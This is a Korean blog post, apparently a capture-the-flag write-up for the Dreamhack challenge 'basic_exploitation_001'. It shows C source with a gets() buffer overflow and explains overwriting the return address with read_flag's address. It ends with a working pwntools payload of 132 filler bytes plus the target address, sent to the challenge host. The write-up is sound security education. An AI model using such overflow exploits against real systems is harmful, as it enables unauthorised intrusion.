Wargame - 시스템

basic_exploitation_001

김가윤 2023. 4. 4. 16:46

 

풀이

 

이 문제와

비슷한 문제이기 때문에

자세한 설명 생략

https://gayunkim-1.tistory.com/35

 

basic_exploitation_000

풀이 검색을 해보니 메모리 보호 기법에 관한 내용인데 아무런 보호 기법도 적용되고 있지 않다는 사실을 알 수 있다. 이 사실을 바탕으로 소스 코드를 분석해 보자 main 함수 내부를 보면 buf의

gayunkim-1.tistory.com

 

소스 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

 

main 함수 내부를 보면

gets 함수를 통해

입력을 받는다.

 

gets 함수는

입력 값의 길이를

제한하지 않기 때문에

버퍼 오버플로우 취약점이 발생한다.

 

main 함수의 반환 주소를

read_flag 함수의 주소로 덮으면

플래그를 출력한다.

 

버퍼의 크기는 0x80(128 바이트)이고

buf + SPF (4바이트) + ret의 구조이므로

 

132 바이트를 쓰레기 값으로 채운 후

read_flag 함수의 주소를 넣어주면

main 함수 종료 후

자동으로 read_flag 함수가 실행된다.

 

gdb를 이용해

read_flag 함수 주소 확인

 

페이로드

from pwn import *

r = remote("host2.dreamhack.games", 22188)

read_flag_addr = 0x80485b9
payload = b"\x80"*132
payload += p32(read_flag_addr)

r.send(payload)
r.interactive()

 

실행

'Wargame - 시스템' 카테고리의 다른 글

basic_rop_x64  (0) 2023.05.24
ssp_001  (0) 2023.05.06
Return to Shellcode  (0) 2023.05.03
basic_exploitation_000  (0) 2023.03.31
shell_basic  (0) 2023.03.23